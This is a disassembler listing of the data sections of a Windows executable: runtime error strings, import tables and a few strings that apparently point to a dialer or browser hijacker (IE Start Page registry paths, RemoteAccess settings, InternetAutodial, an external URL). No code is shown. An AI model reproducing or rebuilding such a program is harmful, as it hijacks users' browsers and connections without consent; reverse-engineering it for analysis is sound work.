		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_410008	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .data:0041227Co
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_412294o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
					; ___security_error_handler+132o
		align 4
; char asc_4105D8[]
asc_4105D8	db 0Ah			; DATA XREF: __NMSG_WRITE+107o
					; ___security_error_handler+FCo
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
		db 0Ah
		db 'Program: ',0
		align 4
; char Source[]
Source		db '...',0              ; DATA XREF: __NMSG_WRITE+C1o
					; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
					; ___security_error_handler+8Bo
		align 4
; char aProgram[]
aProgram	db 'Program: ',0        ; DATA XREF: ___security_error_handler+108o
		align 10h
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: ___security_error_handler+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0
					; DATA XREF: ___security_error_handler:loc_40D737o
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: ___security_error_handler+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
; char aUnknownSecurit[]
aUnknownSecurit	db 'Unknown security failure detected!',0
					; DATA XREF: ___security_error_handler+47o
		align 4
stru_4107B8	_msEH <0FFFFFFFFh, offset loc_40D712, offset loc_40D716>
					; DATA XREF: ___security_error_handler+5o
dword_4107C4	dd 0			; DATA XREF: ___crtGetStringTypeA+1Eo
					; ___crtLCMapStringA+1Co
stru_4107C8	_msEH <0FFFFFFFFh, offset loc_40D8FB, offset loc_40D8FF>
					; DATA XREF: ___crtGetStringTypeA+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Eo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+13o
		align 8
stru_410848	_msEH <0FFFFFFFFh, offset loc_40E1AC, offset loc_40E1B0>
					; DATA XREF: ___convertcp+2o
		align 8
stru_410858	_msEH <0FFFFFFFFh, offset loc_40E617, offset loc_40E61B>
					; DATA XREF: ___crtLCMapStringA+2o
		dd 0FFFFFFFFh, 40E414h,	40E418h, 0FFFFFFFFh, 40E4E2h, 40E4E6h
		dd 0
		dd 48h,	0Eh dup(0)
		dd offset dword_4120F8
		dd offset dword_4108D0
		dd 2, 2	dup(0)
dword_4108D0	dd 0A8B0h, 0A988h, 0	; DATA XREF: .rdata:004108C0o
dword_4108DC	dd 2 dup(0)		; DATA XREF: sub_40CB0D+Co
					; sub_40CB0D:loc_40CB20o
dword_4108E4	dd 2 dup(0)		; DATA XREF: sub_40CB51+Co
					; sub_40CB51:loc_40CB64o
dword_4108EC	dd 0			; DATA XREF: sub_40A5B8+1Do
					; sub_40A5B8+24o ...
		dd 10BE4h, 2 dup(0)
		dd 10CA6h, 0F240h, 109CCh, 2 dup(0)
		dd 11018h, 0F028h, 10B60h, 2 dup(0)
		dd 11236h, 0F1BCh, 109A4h, 2 dup(0)
		dd 112DEh, 0F000h, 10B4Ch, 2 dup(0)
		dd 1130Eh, 0F1A8h, 10C00h, 2 dup(0)
		dd 113C6h, 0F25Ch, 10B1Ch, 2 dup(0)
		dd 113D0h, 0F178h, 10B58h, 2 dup(0)
		dd 113F4h, 0F1B4h, 5 dup(0)
		dd 11272h, 11252h, 11242h, 11284h, 11294h, 112A6h, 112BAh
		dd 112CAh, 11264h, 0
		dd 10CECh, 10CF6h, 10D08h, 10D1Ah, 10D2Ah, 10D40h, 10D56h
		dd 10D62h, 10D74h, 10D8Ch, 10DA4h, 10DC0h, 10DD8h, 10DEAh
		dd 10DFAh, 10E0Ah, 10E1Ah, 10E2Ah, 10E42h, 10E5Ah, 10E6Eh
		dd 10E7Ah, 10E8Ch, 10E98h, 10EA4h, 10EB0h, 10EBCh, 10ECCh
		dd 10EDCh, 10EF4h, 10F00h, 10F0Ch, 10F22h, 10F2Eh, 10F44h
		dd 10F52h, 10F5Eh, 10F6Ah, 10CD6h, 10F96h, 10FA8h, 10FB6h
		dd 10FC8h, 10FDCh, 10FE4h, 10FF6h, 11008h, 114E8h, 114DAh
		dd 114CCh, 114BEh, 114ACh, 11492h, 1147Eh, 1146Ah, 1145Ch
		dd 1144Eh, 11442h, 11432h, 114F4h, 11422h, 11412h, 11400h
		dd 11500h, 11510h, 1152Ch, 11546h, 1155Eh, 11578h, 11592h
		dd 115A4h, 115B2h, 115CCh, 10CC0h, 10CB2h, 115DCh, 115F2h
		dd 11604h, 11616h, 11622h, 1162Eh, 10F80h, 1163Eh, 0
		dd 800000A3h, 80000139h, 80000095h, 80000096h, 80000007h
		dd 80000004h, 80000002h, 80000006h, 80000115h, 800000BAh
		dd 800000A1h, 0
		dd 112ECh, 112FEh, 0
		dd 113DEh, 0
		dd 1115Eh, 11152h, 1117Ch, 11192h, 111A4h, 111B2h, 111C0h
		dd 111D0h, 111E2h, 111F0h, 111FCh, 1120Ah, 11218h, 11226h
		dd 1116Ah, 11140h, 11130h, 11120h, 110FEh, 110E8h, 110DCh
		dd 110C8h, 110BAh, 110A6h, 11092h, 1107Ch, 11068h, 1105Ah
		dd 11048h, 1103Ch, 11026h, 11110h, 0
		dd 10C28h, 10C52h, 10C66h, 10C76h, 10C8Ah, 10C3Eh, 0
		dd 11348h, 1135Ah, 1131Ah, 1136Ah, 1137Eh, 11392h, 113A4h
		dd 113B6h, 11330h, 0
		db  69h	; i
		align 2
aInternetcloseh	db 'InternetCloseHandle',0
		db '',0
aInternetreadfi	db 'InternetReadFile',0
		align 2
aU_0		db '',0
aInternetopenur	db 'InternetOpenUrlA',0
		align 2
aT		db '',0
aInternetopena	db 'InternetOpenA',0
aA		db 'a',0
aInternetautodi	db 'InternetAutodial',0
		align 2
aF		db 'f',0
aInternetcheckc	db 'InternetCheckConnectionA',0
		align 2
aWininet_dll	db 'WININET.dll',0
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		db  83h	; 
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
		dw 21Fh
aInterlockedexc	db 'InterlockedExchange',0
		dd 654700F5h, 50434174h, 16C0000h, 4C746547h, 6C61636Fh
		dd 666E4965h, 416Fh, 654701D0h,	72685474h, 4C646165h, 6C61636Fh
		dd 1DF0065h, 56746547h,	69737265h, 78456E6Fh, 26B0041h
aMultibytetowid	db 'MultiByteToWideChar',0
		db  87h	; 
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 3BDh
aLstrlenw	db 'lstrlenW',0
		align 2
		dw 29Bh
aRaiseexception	db 'RaiseException',0
		align 4
aP		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db  47h	; G
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
		db  19h
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
aZ		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dd 69530346h, 666F657Ah, 6F736552h, 65637275h, 25B0000h
		dd 6B636F4Ch, 6F736552h, 65637275h, 24D0000h, 64616F4Ch
		dd 6F736552h, 65637275h, 0DA0000h, 646E6946h, 6F736552h
		dd 65637275h, 1690041h,	4C746547h, 45747361h, 726F7272h
		dd 21E0000h
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
aC_0		db '',0
aFlushinstructi	db 'FlushInstructionCache',0
		dw 13Ah
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 20Ch
aHeapfree	db 'HeapFree',0
		align 2
		dw 19Bh
aGetprocessheap	db 'GetProcessHeap',0
		align 4
		db    6
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db 0BCh	; 
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0B3h	; 
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db    9
		db 3, 53h, 65h
aTevent		db 'tEvent',0
		align 4
aI		db 'i',0
aCreatethread	db 'CreateThread',0
		align 4
aI_0		db 'I',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db  22h	; "
		db 2, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0B9h	; 
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B6h	; 
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 4
		db  75h	; u
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 3ADh
aLstrcata	db 'lstrcatA',0
		align 2
		dw 13Eh
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		dw 3B0h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 30Ch
aSetfileattribu	db 'SetFileAttributesA',0
		align 10h
		db  56h	; V
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 22Dh
aIsdbcsleadbyte	db 'IsDBCSLeadByte',0
		align 4
aQ		db '',0
aFreelibrary	db 'FreeLibrary',0
		dw 249h
aLoadlibraryexa	db 'LoadLibraryExA',0
		align 4
		dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6C530347h
		dd 706565h, 65470108h, 6D6F4374h, 646E616Dh, 656E694Ch
		dd 1980041h, 50746547h,	41636F72h, 65726464h, 7373h, 6F4C0248h
		dd 694C6461h, 72617262h, 4179h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 2040000h
aPostthreadmess	db 'PostThreadMessageA',0
		align 4
		db '*',0
aCharnexta	db 'CharNextA',0
		db  80h	; 
		db 2, 53h, 65h
aTwindowlonga	db 'tWindowLongA',0
		align 2
		dw 292h
aShowwindow	db 'ShowWindow',0
		align 4
		db 0B3h	; 
		db 2, 55h, 6Eh
aRegisterclassa	db 'registerClassA',0
		align 4
aU_1		db 'U',0
aCreatedialogpa	db 'CreateDialogParamA',0
		align 2
aB_0		db '',0
aDispatchmessag	db 'DispatchMessageA',0
		align 2
		dw 1A1h
aIsdialogmessag	db 'IsDialogMessageA',0
		align 2
		dw 13Ah
aGetmessagea	db 'GetMessageA',0
		db  0Eh
		db 1, 47h, 65h
aTdesktopwindow	db 'tDesktopWindow',0
		align 4
		db  56h	; V
		db 2, 53h, 65h
aTfocus		db 'tFocus',0
		align 4
		db  57h	; W
		db 2, 53h, 65h
aTforegroundwin	db 'tForegroundWindow',0
		dw 16Eh
aGetwindowlonga	db 'GetWindowLongA',0
		align 10h
		db 0FEh	; 
		align 2
aGetclassword	db 'GetClassWord',0
		align 10h
aS_1		db '',0
aDestroywindow	db 'DestroyWindow',0
		db  3Bh	; ;
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  86h	; 
		db 2, 53h, 65h
aTwindowtexta	db 'tWindowTextA',0
		align 2
		dw 27Ah
aSettimer	db 'SetTimer',0
		align 2
		dw 1B4h
aKilltimer	db 'KillTimer',0
		dw 113h
aGetdlgitemtext	db 'GetDlgItemTextA',0
		db  36h	; 6
		db 2, 53h, 65h
aNddlgitemmessa	db 'ndDlgItemMessageA',0
		dw 253h
aSetdlgitemtext	db 'SetDlgItemTextA',0
		dd 65470111h, 676C4474h, 6D657449h, 1DE0000h, 7373654Dh
		dd 42656761h, 41786Fh, 6F500201h, 654D7473h, 67617373h
		dd 4165h, 6F500203h, 75517473h,	654D7469h, 67617373h, 2D80065h
		dd 70737677h, 746E6972h, 4166h,	737702D6h, 6E697270h, 416674h
		dd 6F4C01CAh, 74536461h, 676E6972h, 0DE0041h, 6D756E45h
		dd 646E6957h, 73776Fh, 6F4C01BFh, 6D496461h, 41656761h
		dd 0C40000h, 62616E45h,	6957656Ch, 776F646Eh, 53550000h
		dd 32335245h, 6C6C642Eh, 1D00000h, 44676552h, 74656C65h
		dd 79654B65h, 1D20041h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 655201C9h, 6F6C4367h, 654B6573h, 1CD0079h
		dd 43676552h, 74616572h, 79654B65h, 417845h, 655201E2h
		dd 65704F67h, 79654B6Eh, 417845h, 655201F9h, 74655367h
		dd 756C6156h, 41784565h, 1E70000h, 51676552h, 79726575h
		dd 6F666E49h, 4179654Bh, 1D60000h, 45676552h, 4B6D756Eh
		dd 78457965h, 1EC0041h,	51676552h, 79726575h, 756C6156h
		dd 41784565h, 44410000h, 49504156h, 642E3233h, 6C6Ch, 4853007Eh
		dd 6E616843h, 6F4E6567h, 79666974h, 1060000h, 6C656853h
		dd 6578456Ch, 65747563h, 48530041h, 334C4C45h, 6C642E32h
		dd 5B006Ch
aCorevokeclasso	db 'CoRevokeClassObject',0
aO		db 'O',0
aCoregisterclas	db 'CoRegisterClassObject',0
aC_1		db 'c',0
aCotaskmemalloc	db 'CoTaskMemAlloc',0
		align 2
aD_0		db 'd',0
aCotaskmemfree	db 'CoTaskMemFree',0
aE		db 'e',0
aCotaskmemreall	db 'CoTaskMemRealloc',0
		align 2
		dw 10h
aCocreateinstan	db 'CoCreateInstance',0
		align 2
		dw 134h
aStringfromguid	db 'StringFromGUID2',0
		db 'h',0
aCouninitialize	db 'CoUninitialize',0
		align 2
		db ':',0
aCoinitialize	db 'CoInitialize',0
		align 2
aOle32_dll	db 'ole32.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 2
		db ')',0
aPathfindextens	db 'PathFindExtensionA',0
		align 4
aShlwapi_dll	db 'SHLWAPI.dll',0
		dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 3730000h
		dd 74726956h, 416C6175h, 636F6C6Ch, 1BB0000h, 53746547h
		dd 65747379h, 666E496Dh, 37B006Fh, 74726956h, 516C6175h
		dd 79726575h, 2CA0000h,	556C7452h, 6E69776Eh, 2100064h
		dd 70616548h, 6C416552h, 636F6Ch, 784500AFh, 72507469h
		dd 7365636Fh, 34F0073h,	6D726554h, 74616E69h, 6F725065h
		dd 73736563h, 450000h, 61657243h, 69446574h, 74636572h
		dd 4179726Fh, 1C00000h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db 0AFh	; 
		db 1, 47h, 65h
aTstartupinfoa	db 'tStartupInfoA',0
		dw 20Ah
aHeapdestroy	db 'HeapDestroy',0
		db    8
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 376h
aVirtualfree	db 'VirtualFree',0
		db  12h
		db 2, 48h, 65h
aApsize		db 'apSize',0
		align 4
		db  94h	; 
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db 0B1h	; 
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 10h
		db  60h	; `
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aA_0		db '',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 14Dh
aGetenvironment	db 'GetEnvironmentStrings',0
aU_2		db '',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStringsW',0
		align 2
		dw 317h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 6547015Eh, 6C694674h, 70795465h, 2970065h
aQueryperforman	db 'QueryPerformanceCounter',0
		db 0D5h	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 654701B5h, 72745374h, 54676E69h, 57657079h, 18B0000h
		dd 4F746547h, 50434D45h, 0FC0000h, 43746547h, 666E4950h
		dd 23A006Fh, 614D434Ch,	72745370h, 41676E69h, 23B0000h
		dd 614D434Ch, 72745370h, 57676E69h
		db 2 dup(0)
_rdata		ends

; Section 3. (virtual address 00012000)
; Virtual size			: 00000B5C (   2908.)
; Section size in file		: 00000B5C (   2908.)
; Offset to raw	data for section: 00012000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 412000h
dword_412000	dd 0			; DATA XREF: __cinit+45o
		dd offset ___security_init_cookie
		dd offset sub_40E979
		dd offset loc_40E98F
		dd offset sub_40E900
		dd offset sub_40E930
dword_412018	dd 0			; DATA XREF: __cinit+4Co
dword_41201C	dd 0			; DATA XREF: __cinit+12o
		dd offset ___onexitinit
		dd offset ___inittime
		dd offset ___initmbctable
dword_41202C	dd 0			; DATA XREF: __cinit+17o
dword_412030	dd 0			; DATA XREF: _doexit:loc_40AD77o
dword_412034	dd 0			; DATA XREF: _doexit+6Co
dword_412038	dd 0			; DATA XREF: _doexit:loc_40AD96o
dword_41203C	dd 0			; DATA XREF: _doexit+8Bo
off_412040	dd offset sub_4011A0	; DATA XREF: .text:004011E1o
					; .text:004011ECr ...
dword_412044	dd 0			; DATA XREF: .text:00404B52o
					; WinMain(x,x,x,x)+18Eo ...
dword_412048	dd 7 dup(0)		; DATA XREF: sub_40E900o
; void *dword_412064
dword_412064	dd 0			; DATA XREF: sub_40E979+98r
					; sub_40E979+ACw
dword_412068	dd 0			; DATA XREF: sub_40E979:loc_40EA2Bw
dword_41206C	dd 0			; DATA XREF: sub_40E979+B8w
off_412070	dd offset off_40F590	; DATA XREF: WinMain(x,x,x,x)+26o
					; WinMain(x,x,x,x)+A1o	...
dword_412074	dd 0			; DATA XREF: sub_40E979:loc_40E9B0r
					; sub_40E979+49o ...
		dd 0
dword_41207C	dd 0			; DATA XREF: sub_40E979+40r
					; sub_40E979+53w
dword_412080	dd 6 dup(0)		; DATA XREF: sub_40E930o
					; sub_40E979:loc_40E9E5o
dword_412098	dd 0			; DATA XREF: sub_40E930+24w
					; sub_40E979:loc_40E9D6r
		dd offset dword_4124E4
dword_4120A0	dd 0C8h			; DATA XREF: WinMain(x,x,x,x)+3Cw
dword_4120A4	dd 5Ch			; DATA XREF: WinMain(x,x,x,x)+F8w
		dd 0
off_4120AC	dd offset aSoftwareMicr_0 ; DATA XREF: sub_403350+4CFr
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aDesktop	; "Desktop"
off_4120B4	dd offset aStartMenu	; DATA XREF: sub_403350+4C9r
					; "Start Menu"
		dd offset aSoftwareMicr_2 ; "Software\\Microsoft\\Internet Explorer\\Ma"...
		dd offset aStartPage	; "Start Page"
off_4120C0	dd offset aRemoteaccess	; DATA XREF: sub_407540+16r
					; sub_407AF0:loc_407C99r ...
					; "RemoteAccess"
off_4120C4	dd offset aDefault	; DATA XREF: sub_407540+39r
					; sub_407540+62r ...
					; "Default"
off_4120C8	dd offset aInternetprofil ; DATA XREF: sub_407540:loc_4075EEr
					; sub_407540+D1r ...
					; "InternetProfile"
off_4120CC	dd offset aSoftwareMicr_1 ; DATA XREF: sub_403350+176r
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
off_4120D0	dd offset aProgramfilesdi ; DATA XREF: sub_403350+171r
					; "ProgramFilesDir"
off_4120D4	dd offset aCarlson	; DATA XREF: sub_403350:loc_40356Br
					; "Carlson"
off_4120D8	dd offset aHttpWww_traffi ; DATA XREF: sub_407D40+DDr
					; "http://www.trafficjam.nl/?failed=initia"...
byte_4120DC	db 1			; DATA XREF: sub_406110:loc_40613Cr
					; sub_406110+48w
		align 10h
dword_4120E0	dd 19930520h, 3	dup(0)	; DATA XREF: .text:0040A95Fo
					; __NLG_Notify+2o
off_4120F0	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_4120F4	dd 2			; DATA XREF: __NMSG_WRITE+58r
					; __FF_MSGBANNER+Er
dword_4120F8	dd 38811FA1h		; DATA XREF: sub_40A645+Br sub_40B5F4r ...
		align 10h
		dd 10h,	3 dup(0)
dword_412110	dd 1			; DATA XREF: __dosmaperr:loc_40CBA0r
dword_412114	dd 16h			; DATA XREF: __dosmaperr:loc_40CBC4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_412278	dd offset asc_40FE08	; DATA XREF: _strtoxl:loc_40B139r
					; _strtoxl:loc_40B1CEr	...
					; "	    (((((		   H"
		dd offset dword_410008+2
dword_412280	dd 1			; DATA XREF: _strtoxl:loc_40B121r
					; __ismbcspace:loc_40E79Fr
		dd 2Eh,	1, 0
dword_412290	dd 2			; DATA XREF: __NMSG_WRITE:loc_40CD7Ar
					; __NMSG_WRITE+3Ar
off_412294	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
					; __NMSG_WRITE+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41055Ch, 9, 410530h, 0Ah,	410498h, 10h, 41046Ch
		dd 11h,	41043Ch, 12h, 410418h, 13h, 4103ECh, 18h, 4103B4h
		dd 19h,	41038Ch, 1Ah, 410354h, 1Bh, 41031Ch, 1Ch, 4102F4h
		dd 1Dh,	410250h, 78h, 410240h, 79h, 410230h, 7Ah, 410220h
		dd 0FCh, 41021Ch, 0FFh,	41020Ch
dword_412328	dd 0C0000005h, 0Bh, 0	; DATA XREF: __XcptFilter+Co
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4123A0	dd 3			; DATA XREF: __XcptFilter+84r
dword_4123A4	dd 7			; DATA XREF: __XcptFilter+89r
dword_4123A8	dd 0Ah			; DATA XREF: __XcptFilter+6r
dword_4123AC	dd 8Ch			; DATA XREF: __XcptFilter+B2r
					; __XcptFilter+BAw ...
		dd 0FFFFFFFFh, 0A80h, 1, 0
byte_4123C0	db 1			; DATA XREF: __setmbcp+120r
		db 2, 4, 8
		align 8
dword_4123C8	dd 3A4h			; DATA XREF: __setmbcp:loc_40DF0Er
dword_4123CC	dd 82798260h		; DATA XREF: __setmbcp+15Cr
		dd 21h,	0
dword_4123D8	dd 0DFA6h		; DATA XREF: __setmbcp+100r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 3 dup(0)
off_4124C0	dd offset off_412070	; DATA XREF: sub_40E930+2Ew
dword_4124C4	dd 9B4AA441h		; DATA XREF: sub_401A80+Aw
dword_4124C8	dd 11D59EBFh		; DATA XREF: sub_401A80+13w
dword_4124CC	dd 5000118Ch		; DATA XREF: sub_401A80+1Cw
dword_4124D0	dd 0F55749DAh		; DATA XREF: sub_401A80+25w
off_4124D4	dd offset off_412070	; DATA XREF: sub_40E930+5w
dword_4124D8	dd 0			; DATA XREF: sub_4053B0:loc_405401r
dword_4124DC	dd 0			; DATA XREF: sub_405320+65r
byte_4124E0	db 0			; DATA XREF: sub_40A5B8+34w
					; sub_40A645+94w ...
		align 4
dword_4124E4	dd 9 dup(0)		; DATA XREF: WinMain(x,x,x,x)+21o
					; .data:0041209Co
dword_412508	dd 0			; DATA XREF: sub_401650+10w
					; sub_401650:loc_4016C0r
word_41250C	dw 0			; DATA XREF: sub_401650+1Aw
					; sub_401650:loc_4016DBr
		align 10h
dword_412510	dd 0			; DATA XREF: sub_401650+23w
word_412514	dw 0			; DATA XREF: sub_401650+2Dw
		align 4
dword_412518	dd 0			; DATA XREF: sub_401650+36w
word_41251C	dw 0			; DATA XREF: sub_401650+40w
		align 10h
dword_412520	dd 0			; DATA XREF: sub_401650+49w
word_412524	dw 0			; DATA XREF: sub_401650+53w
		align 4
dword_412528	dd 0			; DATA XREF: sub_401650r sub_401650+9w
dword_41252C	dd 0			; DATA XREF: sub_405EB0+4r
					; sub_405EB0+1Fr ...
dword_412530	dd 3807E0h		; DATA XREF: WinMain(x,x,x,x)+171w
					; WinMain(x,x,x,x)+184r ...
dword_412534	dd 0			; DATA XREF: sub_405CE0r
					; sub_405CE0+1Aw ...
dword_412538	dd 0			; DATA XREF: sub_408350:loc_4085AFw
					; sub_408350+2A3r ...
dword_41253C	dd 0			; DATA XREF: .text:loc_409B80r
					; sub_409D70+6Ew
dword_412540	dd 0			; DATA XREF: sub_402210+7Fo
					; sub_4022A0:loc_4022D2o ...
		dd 400000h
off_412548	dd offset dword_4108EC	; DATA XREF: sub_401A80:loc_401ACFr
					; sub_402170:loc_4021A3r
off_41254C	dd offset dword_4108EC	; DATA XREF: sub_401A80+55r
					; sub_401A80:loc_401AEBr ...
		dd 6 dup(0)
dword_412568	dd 3Ch			; DATA XREF: sub_40E979:loc_40E98Fo
					; sub_40E979:loc_40EA43o
